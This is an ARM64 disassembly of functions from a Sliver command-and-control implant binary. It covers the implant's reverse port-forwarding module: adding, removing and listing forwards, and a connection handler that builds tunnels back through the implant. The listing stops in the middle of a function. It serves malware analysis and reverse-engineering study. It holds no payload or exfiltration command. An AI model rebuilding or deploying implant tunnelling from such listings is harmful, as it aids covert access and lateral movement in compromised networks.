File sliver_83cb34f62800fed14e14547c39337aab8e0427fe2c6310a3fb40ce0ac36168c9.elf
Function:
    004edbd0
    004edbd0github.com/bishopfox/sliver/implant/sliver/rportfwd.(*portfwds).Add.deferwrap1: ; void github.com/bishopfox/sliver/implant/sliver/rportfwd.(*portfwds).Add.deferwrap1(void)
    004edbd0ldr x16, [x28+16]
    004edbd4subs xzr, sp, x16
    004edbd8b.ls 0x4edc08
    004edbdcstr x30, [sp-32]!
    004edbe0stur x29, [sp-8]
    004edbe4sub x29, sp, 8
    004edbe8ldr x16, [x28+32]
    004edbeccbnz x16, 0x4edc14
    004edbf0
    004edbf0loc_4edbf0:
    004edbf0ldr x0, [x26+8]
    004edbf4str x0, [sp+16]
    004edbf8bl sync.(*RWMutex).Unlock
    004edbfcldur x29, [sp-8]
    004edc00ldr x30, [sp], 32
    004edc04ret x30
    004edc08
    004edc08loc_4edc08:
    004edc08mov x3, x30
    004edc0cbl runtime.morestack.abi0
    004edc10b 0x4edbd0
    004edc14
    004edc14loc_4edc14:
    004edc14ldr x17, [x16]
    004edc18add x20, sp, 40
    004edc1csubs xzr, x20, x17
    004edc20b.ne 0x4edbf0
    004edc24add x20, sp, 8
    004edc28str x20, [x16]
    004edc2cb 0x4edbf0
    004edbd0
    004edc30
    004edc30github.com/bishopfox/sliver/implant/sliver/rportfwd.(*portfwds).Remove: ; void github.com/bishopfox/sliver/implant/sliver/rportfwd.(*portfwds).Remove(github.com/bishopfox/sliver/implant/sliver/rportfwd.portfwds * f, int portfwdID)
    004edc30ldr x16, [x28+16]
    004edc34sub x17, sp, 80
    004edc38subs xzr, x17, x16
    004edc3cb.ls 0x4eddbc
    004edc40str x30, [sp-208]!
    004edc44stur x29, [sp-8]
    004edc48sub x29, sp, 8
    004edc4cstr x0, [sp+216]
    004edc50str x1, [sp+224]
    004edc54str xzr, [sp+96]
    004edc58ldr x1, [sp+216]
    004edc5cldrsb x27, [x1]
    004edc60ldr x0, [x1+8]
    004edc64str x0, [sp+192]
    004edc68bl sync.(*RWMutex).Lock
    004edc6cldr x1, [sp+216]
    004edc70ldrsb x27, [x1]
    004edc74ldr x1, [x1+8]
    004edc78str x1, [sp+128]
    004edc7cstp xzr, xzr, [sp+168]
    004edc80add x1, sp, 168
    004edc84str x1, [sp+184]
    004edc88ldrsb x27, [x1]
    004edc8cadrp x2, 0
    004edc90add x2, x2, 3536
    004edc94str x2, [x1]
    004edc98ldrsb x27, [x1]
    004edc9cldr x2, [sp+128]
    004edca0adrp x27, 0x55e000
    004edca4ldr w3, [x27+3056]
    004edca8cbz w3, 0x4edcb0
    004edcacb 0x4edcb4
    004edcb0
    004edcb0loc_4edcb0:
    004edcb0b 0x4edcc8
    004edcb4
    004edcb4loc_4edcb4:
    004edcb4bl runtime.gcWriteBarrier2
    004edcb8str x2, [x25]
    004edcbcldr x3, [x1+8]
    004edcc0str x3, [x25+8]
    004edcc4b 0x4edcc8
    004edcc8
    004edcc8loc_4edcc8:
    004edcc8str x2, [x1+8]
    004edcccstr x1, [sp+72]
    004edcd0add x0, sp, 48
    004edcd4bl runtime.deferprocStack
    004edcd8subs xzr, x0, 0
    004edcdcb.ne 0x4edda8
    004edce0b 0x4edce4
    004edce4
    004edce4loc_4edce4:
    004edce4str xzr, [sp+112]
    004edce8ldr x3, [sp+216]
    004edcecldrsb x27, [x3]
    004edcf0ldr x1, [x3]
    004edcf4str x1, [sp+160]
    004edcf8ldr x2, [sp+224]
    004edcfcadrp x0, 0x137000
    004edd00add x0, x0, 2624
    004edd04bl runtime.mapaccess2_fast64
    004edd08str x0, [sp+152]
    004edd0cstrb w1, [sp+46]
    004edd10ldr x3, [sp+152]
    004edd14ldr x3, [x3]
    004edd18str x3, [sp+112]
    004edd1cstr x3, [sp+120]
    004edd20ldrb w3, [sp+46]
    004edd24strb w3, [sp+47]
    004edd28ldr x3, [sp+120]
    004edd2cstr x3, [sp+104]
    004edd30ldrb w3, [sp+47]
    004edd34strb w3, [sp+45]
    004edd38tbnz w3, 0, 0x4edd40
    004edd3cb 0x4edd90
    004edd40
    004edd40loc_4edd40:
    004edd40ldr x1, [sp+104]
    004edd44ldrsb x27, [x1]
    004edd48ldr x0, [x1+8]
    004edd4cstr x0, [sp+144]
    004edd50bl github.com/bishopfox/sliver/implant/sliver/tcpproxy.(*Proxy).Close
    004edd54ldr x1, [sp+216]
    004edd58ldrsb x27, [x1]
    004edd5cldr x1, [x1]
    004edd60str x1, [sp+136]
    004edd64ldr x2, [sp+224]
    004edd68adrp x0, 0x137000
    004edd6cadd x0, x0, 2624
    004edd70bl runtime.mapdelete_fast64
    004edd74ldr x1, [sp+104]
    004edd78str x1, [sp+96]
    004edd7cbl runtime.deferreturn
    004edd80ldr x0, [sp+96]
    004edd84ldur x29, [sp-8]
    004edd88ldr x30, [sp], 208
    004edd8cret x30
    004edd90
    004edd90loc_4edd90:
    004edd90str xzr, [sp+96]
    004edd94bl runtime.deferreturn
    004edd98ldr x0, [sp+96]
    004edd9cldur x29, [sp-8]
    004edda0ldr x30, [sp], 208
    004edda4ret x30
    004edda8
    004edda8loc_4edda8:
    004edda8bl runtime.deferreturn
    004eddacldr x0, [sp+96]
    004eddb0ldur x29, [sp-8]
    004eddb4ldr x30, [sp], 208
    004eddb8ret x30
    004eddbc
    004eddbcloc_4eddbc:
    004eddbcstp x0, x1, [sp+8]
    004eddc0mov x3, x30
    004eddc4bl runtime.morestack_noctxt.abi0
    004eddc8ldp x0, x1, [sp+8]
    004eddccb 0x4edc30
    004edc30
    004eddd0
    004eddd0github.com/bishopfox/sliver/implant/sliver/rportfwd.(*portfwds).Remove.deferwrap1: ; void github.com/bishopfox/sliver/implant/sliver/rportfwd.(*portfwds).Remove.deferwrap1(void)
    004eddd0ldr x16, [x28+16]
    004eddd4subs xzr, sp, x16
    004eddd8b.ls 0x4ede08
    004edddcstr x30, [sp-32]!
    004edde0stur x29, [sp-8]
    004edde4sub x29, sp, 8
    004edde8ldr x16, [x28+32]
    004eddeccbnz x16, 0x4ede14
    004eddf0
    004eddf0loc_4eddf0:
    004eddf0ldr x0, [x26+8]
    004eddf4str x0, [sp+16]
    004eddf8bl sync.(*RWMutex).Unlock
    004eddfcldur x29, [sp-8]
    004ede00ldr x30, [sp], 32
    004ede04ret x30
    004ede08
    004ede08loc_4ede08:
    004ede08mov x3, x30
    004ede0cbl runtime.morestack.abi0
    004ede10b 0x4eddd0
    004ede14
    004ede14loc_4ede14:
    004ede14ldr x17, [x16]
    004ede18add x20, sp, 40
    004ede1csubs xzr, x20, x17
    004ede20b.ne 0x4eddf0
    004ede24add x20, sp, 8
    004ede28str x20, [x16]
    004ede2cb 0x4eddf0
    004eddd0
    004ede30
    004ede30github.com/bishopfox/sliver/implant/sliver/rportfwd.(*portfwds).List: ; void github.com/bishopfox/sliver/implant/sliver/rportfwd.(*portfwds).List(github.com/bishopfox/sliver/implant/sliver/rportfwd.portfwds * f)
    004ede30ldr x16, [x28+16]
    004ede34sub x17, sp, 224
    004ede38subs xzr, x17, x16
    004ede3cb.ls 0x4ee040
    004ede40sub x20, sp, 352
    004ede44stp x29, x30, [x20-8]
    004ede48add sp, x20, 0
    004ede4csub x29, sp, 8
    004ede50str x0, [sp+360]
    004ede54stp xzr, xzr, [sp+128]
    004ede58str xzr, [sp+144]
    004ede5cldr x1, [sp+360]
    004ede60ldrsb x27, [x1]
    004ede64ldr x0, [x1+8]
    004ede68str x0, [sp+192]
    004ede6cbl sync.(*RWMutex).RLock
    004ede70ldr x1, [sp+360]
    004ede74ldrsb x27, [x1]
    004ede78ldr x1, [x1+8]
    004ede7cstr x1, [sp+312]
    004ede80stp xzr, xzr, [sp+328]
    004ede84add x1, sp, 328
    004ede88str x1, [sp+184]
    004ede8cldrsb x27, [x1]
    004ede90adrp x2, 4096
    004ede94add x2, x2, 96
    004ede98str x2, [x1]
    004ede9cldrsb x27, [x1]
    004edea0ldr x2, [sp+312]
    004edea4adrp x27, 0x55e000
    004edea8ldr w3, [x27+3056]
    004edeaccbz w3, 0x4edeb4
    004edeb0b 0x4edeb8
    004edeb4
    004edeb4loc_4edeb4:
    004edeb4b 0x4edecc
    004edeb8
    004edeb8loc_4edeb8:
    004edeb8bl runtime.gcWriteBarrier2
    004edebcstr x2, [x25]
    004edec0ldr x3, [x1+8]
    004edec4str x3, [x25+8]
    004edec8b 0x4edecc
    004edecc
    004edeccloc_4edecc:
    004edeccstr x2, [x1+8]
    004eded0str x1, [sp+104]
    004eded4add x0, sp, 80
    004eded8bl runtime.deferprocStack
    004ededcsubs xzr, x0, 0
    004edee0b.ne 0x4edf40
    004edee4b 0x4edee8
    004edee8
    004edee8loc_4edee8:
    004edee8adrp x3, 0x55e000
    004edeecadd x3, x3, 1504
    004edef0str x3, [sp+320]
    004edef4b 0x4edef8
    004edef8
    004edef8loc_4edef8:
    004edef8str x3, [sp+160]
    004edefcstp xzr, xzr, [sp+168]
    004edf00ldr x3, [sp+360]
    004edf04ldrsb x27, [x3]
    004edf08ldr x3, [x3]
    004edf0cstr x3, [sp+304]
    004edf10add x20, sp, 208
    004edf14adr x27, 16
    004edf18stp x29, x27, [sp-24]
    004edf1csub x29, sp, 24
    004edf20bl fn_87cf8
    004edf24sub x29, sp, 8
    004edf28ldr x1, [sp+304]
    004edf2cadrp x0, 0x137000
    004edf30add x0, x0, 2624
    004edf34add x2, sp, 208
    004edf38bl runtime.mapIterStart
    004edf3cb 0x4edf5c
    004edf40
    004edf40loc_4edf40:
    004edf40bl runtime.deferreturn
    004edf44ldr x0, [sp+128]
    004edf48ldr x1, [sp+136]
    004edf4cldr x2, [sp+144]
    004edf50ldp x29, x30, [sp-8]
    004edf54add sp, sp, 352
    004edf58ret x30
    004edf5c
    004edf5cloc_4edf5c:
    004edf5cldr x1, [sp+208]
    004edf60cbnz x1, 0x4edf68
    004edf64b 0x4ee00c
    004edf68
    004edf68loc_4edf68:
    004edf68ldr x1, [sp+208]
    004edf6cldrsb x27, [x1]
    004edf70ldr x1, [sp+216]
    004edf74ldrsb x27, [x1]
    004edf78ldr x0, [x1]
    004edf7cstr x0, [sp+152]
    004edf80bl github.com/bishopfox/sliver/implant/sliver/rportfwd.(*Portfwd).GetMetadata
    004edf84str x0, [sp+200]
    004edf88ldr x2, [sp+176]
    004edf8cldr x0, [sp+160]
    004edf90ldr x1, [sp+168]
    004edf94add x1, x1, 1
    004edf98subs xzr, x2, x1
    004edf9cb.hs 0x4edfa4
    004edfa0b 0x4edfa8
    004edfa4
    004edfa4loc_4edfa4:
    004edfa4b 0x4edfbc
    004edfa8
    004edfa8loc_4edfa8:
    004edfa8orr x3, xzr, 1
    004edfacadrp x4, 0xfa000
    004edfb0add x4, x4, 2624
    004edfb4bl runtime.growslice
    004edfb8b 0x4edfbc
    004edfbc
    004edfbcloc_4edfbc:
    004edfbcsub x3, x1, 1
    004edfc0ldr x4, [sp+200]
    004edfc4adrp x27, 0x55e000
    004edfc8ldr w5, [x27+3056]
    004edfcccbz w5, 0x4edfd4
    004edfd0b 0x4edfd8
    004edfd4
    004edfd4loc_4edfd4:
    004edfd4b 0x4edfec
    004edfd8
    004edfd8loc_4edfd8:
    004edfd8bl runtime.gcWriteBarrier2
    004edfdcstr x4, [x25]
    004edfe0ldr x5, [x0+3*x3]
    004edfe4str x5, [x25+8]
    004edfe8b 0x4edfec
    004edfec
    004edfecloc_4edfec:
    004edfecstr x4, [x0+3*x3]
    004edff0str x0, [sp+160]
    004edff4str x1, [sp+168]
    004edff8str x2, [sp+176]
    004edffcb 0x4ee000
    004ee000
    004ee000loc_4ee000:
    004ee000add x0, sp, 208
    004ee004bl runtime.mapIterNext
    004ee008b 0x4edf5c
    004ee00c
    004ee00cloc_4ee00c:
    004ee00cldr x0, [sp+160]
    004ee010ldr x1, [sp+168]
    004ee014ldr x2, [sp+176]
    004ee018str x0, [sp+128]
    004ee01cstr x1, [sp+136]
    004ee020str x2, [sp+144]
    004ee024bl runtime.deferreturn
    004ee028ldr x0, [sp+128]
    004ee02cldr x1, [sp+136]
    004ee030ldr x2, [sp+144]
    004ee034ldp x29, x30, [sp-8]
    004ee038add sp, sp, 352
    004ee03cret x30
    004ee040
    004ee040loc_4ee040:
    004ee040str x0, [sp+8]
    004ee044mov x3, x30
    004ee048bl runtime.morestack_noctxt.abi0
    004ee04cldr x0, [sp+8]
    004ee050b 0x4ede30
    004ee054udf 0
    004ee058udf 0
    004ee05cudf 0
    004ede30
    004ee060
    004ee060github.com/bishopfox/sliver/implant/sliver/rportfwd.(*portfwds).List.deferwrap1: ; void github.com/bishopfox/sliver/implant/sliver/rportfwd.(*portfwds).List.deferwrap1(void)
    004ee060ldr x16, [x28+16]
    004ee064subs xzr, sp, x16
    004ee068b.ls 0x4ee098
    004ee06cstr x30, [sp-32]!
    004ee070stur x29, [sp-8]
    004ee074sub x29, sp, 8
    004ee078ldr x16, [x28+32]
    004ee07ccbnz x16, 0x4ee0a4
    004ee080
    004ee080loc_4ee080:
    004ee080ldr x0, [x26+8]
    004ee084str x0, [sp+16]
    004ee088bl sync.(*RWMutex).RUnlock
    004ee08cldur x29, [sp-8]
    004ee090ldr x30, [sp], 32
    004ee094ret x30
    004ee098
    004ee098loc_4ee098:
    004ee098mov x3, x30
    004ee09cbl runtime.morestack.abi0
    004ee0a0b 0x4ee060
    004ee0a4
    004ee0a4loc_4ee0a4:
    004ee0a4ldr x17, [x16]
    004ee0a8add x20, sp, 40
    004ee0acsubs xzr, x20, x17
    004ee0b0b.ne 0x4ee080
    004ee0b4add x20, sp, 8
    004ee0b8str x20, [x16]
    004ee0bcb 0x4ee080
    004ee060
    004ee0c0
    004ee0c0github.com/bishopfox/sliver/implant/sliver/rportfwd.(*ChannelProxy).HandleConn: ; void github.com/bishopfox/sliver/implant/sliver/rportfwd.(*ChannelProxy).HandleConn(github.com/bishopfox/sliver/implant/sliver/rportfwd.ChannelProxy * p, net.Conn src)
    004ee0c0ldr x16, [x28+16]
    004ee0c4sub x17, sp, 256
    004ee0c8subs xzr, x17, x16
    004ee0ccb.ls 0x4ee5f8
    004ee0d0sub x20, sp, 384
    004ee0d4stp x29, x30, [x20-8]
    004ee0d8add sp, x20, 0
    004ee0dcsub x29, sp, 8
    004ee0e0str x0, [sp+392]
    004ee0e4str x1, [sp+400]
    004ee0e8str x2, [sp+408]
    004ee0ecadrp x0, 0x1d2000
    004ee0f0add x0, x0, 573
    004ee0f4movz x1, 34
    004ee0f8mov x2, xzr
    004ee0fcmov x3, xzr
    004ee100mov x4, x3
    004ee104bl log.Printf
    004ee108bl context.Background
    004ee10cstr x0, [sp+88]
    004ee110str x1, [sp+96]
    004ee114str xzr, [sp+120]
    004ee118ldr x5, [sp+392]
    004ee11cldrsb x27, [x5]
    004ee120ldr x5, [x5+48]
    004ee124tbz x5, 63, 0x4ee12c
    004ee128b 0x4ee190
    004ee12c
    004ee12cloc_4ee12c:
    004ee12cldr x0, [sp+392]
    004ee130bl github.com/bishopfox/sliver/implant/sliver/rportfwd.(*ChannelProxy).dialTimeout
    004ee134str x0, [sp+72]
    004ee138stp xzr, xzr, [sp+360]
    004ee13cstr xzr, [sp+352]
    004ee140ldr x2, [sp+72]
    004ee144ldr x0, [sp+88]
    004ee148ldr x1, [sp+96]
    004ee14cbl context.WithTimeout
    004ee150str x0, [sp+360]
    004ee154str x1, [sp+368]
    004ee158str x2, [sp+352]
    004ee15cldr x1, [sp+360]
    004ee160ldr x2, [sp+368]
    004ee164str x1, [sp+144]
    004ee168str x2, [sp+152]
    004ee16cldr x1, [sp+352]
    004ee170str x1, [sp+136]
    004ee174ldr x1, [sp+144]
    004ee178ldr x2, [sp+152]
    004ee17cstr x1, [sp+88]
    004ee180str x2, [sp+96]
    004ee184ldr x1, [sp+136]
    004ee188str x1, [sp+120]
    004ee18cb 0x4ee194
    004ee190
    004ee190loc_4ee190:
    004ee190b 0x4ee194
    004ee194
    004ee194loc_4ee194:
    004ee194str xzr, [sp+344]
    004ee198ldr x5, [sp+400]
    004ee19cldr x6, [sp+408]
    004ee1a0adrp x7, 0x22c000
    004ee1a4add x7, x7, 2992
    004ee1a8subs xzr, x5, x7
    004ee1acb.eq 0x4ee1b4
    004ee1b0b 0x4ee1bc
    004ee1b4
    004ee1b4loc_4ee1b4:
    004ee1b4orr x0, xzr, 1
    004ee1b8b 0x4ee1c8
    004ee1bc
    004ee1bcloc_4ee1bc:
    004ee1bcmov x0, xzr
    004ee1c0mov x6, xzr
    004ee1c4b 0x4ee1c8
    004ee1c8
    004ee1c8loc_4ee1c8:
    004ee1c8str x6, [sp+344]
    004ee1ccstrb w0, [sp+63]
    004ee1d0ldr x5, [sp+344]
    004ee1d4str x5, [sp+128]
    004ee1d8ldrb w5, [sp+63]
    004ee1dcstrb w5, [sp+62]
    004ee1e0ldr x5, [sp+128]
    004ee1e4str x5, [sp+104]
    004ee1e8ldrb w5, [sp+62]
    004ee1ecstrb w5, [sp+61]
    004ee1f0tbnz w5, 0, 0x4ee1f8
    004ee1f4b 0x4ee238
    004ee1f8
    004ee1f8loc_4ee1f8:
    004ee1f8adrp x0, 0x1d0000
    004ee1fcadd x0, x0, 2192
    004ee200orr x1, xzr, 32
    004ee204mov x2, xzr
    004ee208mov x3, xzr
    004ee20cmov x4, x3
    004ee210bl log.Printf
    004ee214ldr x0, [sp+104]
    004ee218orr x1, xzr, 1
    004ee21cbl net.(*TCPConn).SetKeepAlive
    004ee220ldr x0, [sp+104]
    004ee224movz x1, 44032
    004ee228movk x1, 0xfc230000
    004ee22cmovk x1, 0x600000000
    004ee230bl net.(*TCPConn).SetKeepAlivePeriod
    004ee234b 0x4ee23c
    004ee238
    004ee238loc_4ee238:
    004ee238b 0x4ee23c
    004ee23c
    004ee23cloc_4ee23c:
    004ee23cadrp x0, 0x1cf000
    004ee240add x0, x0, 1102
    004ee244orr x1, xzr, 30
    004ee248mov x2, xzr
    004ee24cmov x3, xzr
    004ee250mov x4, x3
    004ee254bl log.Printf
    004ee258bl github.com/bishopfox/sliver/implant/sliver/rportfwd.NewTunnelID
    004ee25cstr x0, [sp+64]
    004ee260stp xzr, xzr, [sp+328]
    004ee264add x5, sp, 328
    004ee268str x5, [sp+296]
    004ee26cldr x0, [sp+64]
    004ee270bl runtime.convT64
    004ee274str x0, [sp+288]
    004ee278ldr x5, [sp+296]
    004ee27cldrsb x27, [x5]
    004ee280adrp x6, 0x107000
    004ee284add x6, x6, 3456
    004ee288str x6, [x5]
    004ee28cadrp x27, 0x55d000
    004ee290ldr w6, [x27+3056]
    004ee294cbz w6, 0x4ee29c
    004ee298b 0x4ee2a0
    004ee29c
    004ee29cloc_4ee29c:
    004ee29cb 0x4ee2b4
    004ee2a0
    004ee2a0loc_4ee2a0:
    004ee2a0bl runtime.gcWriteBarrier2
    004ee2a4str x0, [x25]
    004ee2a8ldr x6, [x5+8]
    004ee2acstr x6, [x25+8]
    004ee2b0b 0x4ee2b4
    004ee2b4
    004ee2b4loc_4ee2b4:
    004ee2b4str x0, [x5+8]
    004ee2b8ldr x2, [sp+296]
    004ee2bcldrsb x27, [x2]
    004ee2c0b 0x4ee2c4
    004ee2c4
    004ee2c4loc_4ee2c4:
    004ee2c4str x2, [sp+304]
    004ee2c8orr x4, xzr, 1
    004ee2ccstr x4, [sp+312]
    004ee2d0str x4, [sp+320]
    004ee2d4adrp x0, 0x1d6000
    004ee2d8add x0, x0, 1099
    004ee2dcmovz x1, 40
    004ee2e0mov x3, x4
    004ee2e4bl log.Printf
    004ee2e8ldr x5, [sp+408]
    004ee2ecldr x6, [sp+400]
    004ee2f0str x6, [sp+272]
    004ee2f4str x5, [sp+280]
    004ee2f8cbnz x6, 0x4ee300
    004ee2fcb 0x4ee320
    004ee300
    004ee300loc_4ee300:
    004ee300str x5, [sp+160]
    004ee304ldr x1, [x6+8]
    004ee308adrp x0, 0x520000
    004ee30cadd x0, x0, 3472
    004ee310bl runtime.typeAssert
    004ee314ldr x5, [sp+160]
    004ee318mov x6, x0
    004ee31cb 0x4ee324
    004ee320
    004ee320loc_4ee320:
    004ee320b 0x4ee324
    004ee324
    004ee324loc_4ee324:
    004ee324str x6, [sp+256]
    004ee328str x5, [sp+264]
    004ee32cadrp x0, 0x114000
    004ee330add x0, x0, 608
    004ee334bl runtime.newobject
    004ee338str x0, [sp+224]
    004ee33cldr x1, [sp+408]
    004ee340ldr x2, [sp+400]
    004ee344str x2, [sp+208]
    004ee348str x1, [sp+216]
    004ee34ccbnz x2, 0x4ee354
    004ee350b 0x4ee374
    004ee354
    004ee354loc_4ee354:
    004ee354str x1, [sp+160]
    004ee358ldr x1, [x2+8]
    004ee35cadrp x0, 0x520000
    004ee360add x0, x0, 3504
    004ee364bl runtime.typeAssert
    004ee368ldr x1, [sp+160]
    004ee36cmov x2, x0
    004ee370b 0x4ee378
    004ee374
    004ee374loc_4ee374:
    004ee374b 0x4ee378
    004ee378
    004ee378loc_4ee378:
    004ee378str x2, [sp+192]
    004ee37cstr x1, [sp+200]
    004ee380ldr x6, [sp+224]
    004ee384ldrsb x27, [x6]
    004ee388str x2, [x6]
    004ee38cadrp x27, 0x55d000
    004ee390ldr w7, [x27+3056]
    004ee394cbz w7, 0x4ee39c
    004ee398b 0x4ee3a0
    004ee39c
    004ee39cloc_4ee39c:
    004ee39cb 0x4ee3b4
    004ee3a0
    004ee3a0loc_4ee3a0:
    004ee3a0bl runtime.gcWriteBarrier2
    004ee3a4str x1, [x25]
    004ee3a8ldr x7, [x6+8]
    004ee3acstr x7, [x25+8]
    004ee3b0b 0x4ee3b4
    004ee3b4
    004ee3b4loc_4ee3b4:
    004ee3b4str x1, [x6+8]
    004ee3b8ldr x3, [sp+224]
    004ee3bcldrsb x27, [x3]
    004ee3c0b 0x4ee3c4
    004ee3c4
    004ee3c4loc_4ee3c4:
    004ee3c4str x3, [sp+232]
    004ee3c8orr x5, xzr, 1
    004ee3ccstr x5, [sp+240]
    004ee3d0str x5, [sp+248]
    004ee3d4ldr x0, [sp+64]
    004ee3d8ldr x1, [sp+256]
    004ee3dcldr x2, [sp+264]
    004ee3e0mov x4, x5
    004ee3e4bl github.com/bishopfox/sliver/implant/sliver/transports.NewTunnel
    004ee3e8str x0, [sp+80]
    004ee3ecldr x6, [sp+392]
    004ee3f0ldrsb x27, [x6]
    004ee3f4ldr x0, [x6]
    004ee3f8str x0, [sp+184]
    004ee3fcldr x1, [sp+80]
    004ee400bl github.com/bishopfox/sliver/implant/sliver/transports.(*Connection).AddTunnel
    004ee404adrp x0, 0x17e000
    004ee408add x0, x0, 3360
    004ee40cbl runtime.newobject
    004ee410str x0, [sp+176]
    004ee414adrp x6, 0
    004ee418add x6, x6, 2144
    004ee41cstr x6, [x0]
    004ee420ldr x6, [sp+80]
    004ee424ldr x7, [sp+176]
    004ee428ldrsb x27, [x7]
    004ee42cadrp x27, 0x55d000
    004ee430ldr w8, [x27+3056]
    004ee434cbz w8, 0x4ee43c
    004ee438b 0x4ee440
    004ee43c
    004ee43cloc_4ee43c:
    004ee43cb 0x4ee454
    004ee440
    004ee440loc_4ee440:
    004ee440bl runtime.gcWriteBarrier2
    004ee444str x6, [x25]
    004ee448ldr x1, [x7+8]
    004ee44cstr x1, [x25+8]
    004ee450b 0x4ee454
    004ee454
    004ee454loc_4ee454:
    004ee454str x6, [x7+8]
    004ee458ldr x1, [sp+392]
    004ee45cldr x2, [sp+176]
    004ee460ldrsb x27, [x2]
    004ee464adrp x27, 0x55d000
    004ee468ldr w3, [x27+3056]
    004ee46ccbz w3, 0x4ee474
    004ee470b 0x4ee478
    004ee474
    004ee474loc_4ee474:
    004ee474b 0x4ee48c
    004ee478
    004ee478loc_4ee478:
    004ee478bl runtime.gcWriteBarrier2
    004ee47cstr x1, [x25]
    004ee480ldr x3, [x2+16]
    004ee484str x3, [x25+8]
    004ee488b 0x4ee48c
    004ee48c
    004ee48cloc_4ee48c:
    004ee48cstr x1, [x2+16]
    004ee490ldr x1, [sp+408]
    004ee494ldr x2, [sp+400]
    004ee498ldr x3, [sp+176]
    004ee49cldrsb x27, [x3]
    004ee4a0str x2, [x3+24]
    004ee4a4adrp x27, 0x55d000
    004ee4a8ldr w2, [x27+3056]
    004ee4accbz w2, 0x4ee4b4
    004ee4b0b 0x4ee4b8
    004ee4b4
    004ee4b4loc_4ee4b4:
    004ee4b4b 0x4ee4cc
    004ee4b8
    004ee4b8loc_4ee4b8:
    004ee4b8bl runtime.gcWriteBarrier2
    004ee4bcstr x1, [x25]
    004ee4c0ldr x2, [x3+32]
    004ee4c4str x2, [x25+8]
    004ee4c8b 0x4ee4cc
    004ee4cc
    004ee4ccloc_4ee4cc:
    004ee4ccstr x1, [x3+32]
    004ee4d0ldr x1, [sp+120]
    004ee4d4ldr x2, [sp+176]
    004ee4d8ldrsb x27, [x2]
    004ee4dcadrp x27, 0x55d000
    004ee4e0ldr w3, [x27+3056]
    004ee4e4cbz w3, 0x4ee4ec
    004ee4e8b 0x4ee4f0
    004ee4ec
    004ee4ecloc_4ee4ec:
    004ee4ecb 0x4ee504
    004ee4f0
    004ee4f0loc_4ee4f0:
    004ee4f0bl runtime.gcWriteBarrier2
    004ee4f4str x1, [x25]
    004ee4f8ldr x3, [x2+40]
    004ee4fcstr x3, [x25+8]
    004ee500b 0x4ee504
    004ee504
    004ee504loc_4ee504:
    004ee504str x1, [x2+40]
    004ee508ldr x1, [sp+176]
    004ee50cstr x1, [sp+112]
    004ee510adrp x0, 0x17e000
    004ee514add x0, x0, 3584
    004ee518bl runtime.newobject
    004ee51cstr x0, [sp+168]
    004ee520adrp x1, 0
    004ee524add x1, x1, 1568
    004ee528str x1, [x0]
    004ee52cldr x1, [sp+80]
    004ee530ldr x2, [sp+168]
    004ee534ldrsb x27, [x2]
    004ee538adrp x27, 0x55d000
    004ee53cldr w3, [x27+3056]
    004ee540cbz w3, 0x4ee548
    004ee544b 0x4ee54c
    004ee548
    004ee548loc_4ee548:
    004ee548b 0x4ee560
    004ee54c
    004ee54cloc_4ee54c:
    004ee54cbl runtime.gcWriteBarrier2
    004ee550str x1, [x25]
    004ee554ldr x3, [x2+8]
    004ee558str x3, [x25+8]
    004ee55cb 0x4ee560
    004ee560
    004ee560loc_4ee560:
    004ee560str x1, [x2+8]
    004ee564ldr x1, [sp+392]
    004ee568ldr x2, [sp+168]
    004ee56cldrsb x27, [x2]
    004ee570adrp x27, 0x55d000
    004ee574ldr w3, [x27+3056]
    004ee578cbz w3, 0x4ee580
    004ee57cb 0x4ee584
    004ee580
    004ee580loc_4ee580:
    004ee580b 0x4ee598
    004ee584
    004ee584loc_4ee584:
    004ee584bl runtime.gcWriteBarrier2
    004ee588str x1, [x25]
    004ee58cldr x3, [x2+16]
    004ee590str x3, [x25+8]
    004ee594b 0x4ee598
    004ee598
    004ee598loc_4ee598:
    004ee598str x1, [x2+16]
    004ee59cldr x1, [sp+64]
    004ee5a0ldr x2, [sp+168]
    004ee5a4ldrsb x27, [x2]
    004ee5a8str x1, [x2+24]
    004ee5acldr x1, [sp+112]
    004ee5b0ldr x2, [sp+168]
    004ee5b4ldrsb x27, [x2]
    004ee5b8adrp x27, 0x55d000
    004ee5bcldr w3, [x27+3056]
    004ee5c0cbz w3, 0x4ee5c8
    004ee5c4b 0x4ee5cc
    004ee5c8
    004ee5c8loc_4ee5c8:
    004ee5c8b 0x4ee5e0
    004ee5cc
    004ee5ccloc_4ee5cc:
    004ee5ccbl runtime.gcWriteBarrier2
    004ee5d0str x1, [x25]
    004ee5d4ldr x3, [x2+32]
    004ee5d8str x3, [x25+8]
    004ee5dcb 0x4ee5e0
    004ee5e0
    004ee5e0loc_4ee5e0:
    004ee5e0str x1, [x2+32]
    004ee5e4ldr x0, [sp+168]
    004ee5e8bl runtime.newproc
    004ee5ecldp x29, x30, [sp-8]
    004ee5f0add sp, sp, 384
    004ee5f4ret x30
    004ee5f8
    004ee5f8loc_4ee5f8:
    004ee5f8stp x0, x1, [sp+8]
    004ee5fcstr x2, [sp+24]
    004ee600mov x3, x30
    004ee604bl runtime.morestack_noctxt.abi0
    004ee608ldp x0, x1, [sp+8]
    004ee60cldr x2, [sp+24]
    004ee610b 0x4ee0c0
    004ee614udf 0
    004ee618udf 0
    004ee61cudf 0
    004ee0c0
    004ee620
    004ee620github.com/bishopfox/sliver/implant/sliver/rportfwd.(*ChannelProxy).HandleConn.func2: ; void github.com/bishopfox/sliver/implant/sliver/rportfwd.(*ChannelProxy).HandleConn.func2(void)
    004ee620ldr x16, [x28+16]
    004ee624sub x17, sp, 224
    004ee628subs xzr, x17, x16
    004ee62cb.ls 0x4ee854
    004ee630sub x20, sp, 352
    004ee634stp x29, x30, [x20-8]
    004ee638add sp, x20, 0
    004ee63csub x29, sp, 8
    004ee640ldr x1, [x26+8]
    004ee644str x1, [sp+96]
    004ee648ldr x1, [x26+16]
    004ee64cstr x1, [sp+160]
    004ee650ldr x1, [x26+24]
    004ee654str x1, [sp+64]
    004ee658ldr x1, [x26+32]
    004ee65cstr x1, [sp+184]
    004ee660ldr x0, [sp+160]
    004ee664bl github.com/bishopfox/sliver/implant/sliver/rportfwd.(*ChannelProxy).Host
    004ee668str x0, [sp+224]
    004ee66cstr x1, [sp+232]
    004ee670ldr x0, [sp+160]
    004ee674bl github.com/bishopfox/sliver/implant/sliver/rportfwd.(*ChannelProxy).Port
    004ee678str w0, [sp+60]
    004ee67cadrp x27, 0x22a000
    004ee680add x27, x27, 3984
    004ee684ldp x1, x2, [x27]
    004ee688adrp x27, 0x22a000
    004ee68cadd x27, x27, 4000
    004ee690ldp x3, x4, [x27]
    004ee694adrp x27, 0x22a000
    004ee698add x27, x27, 4016
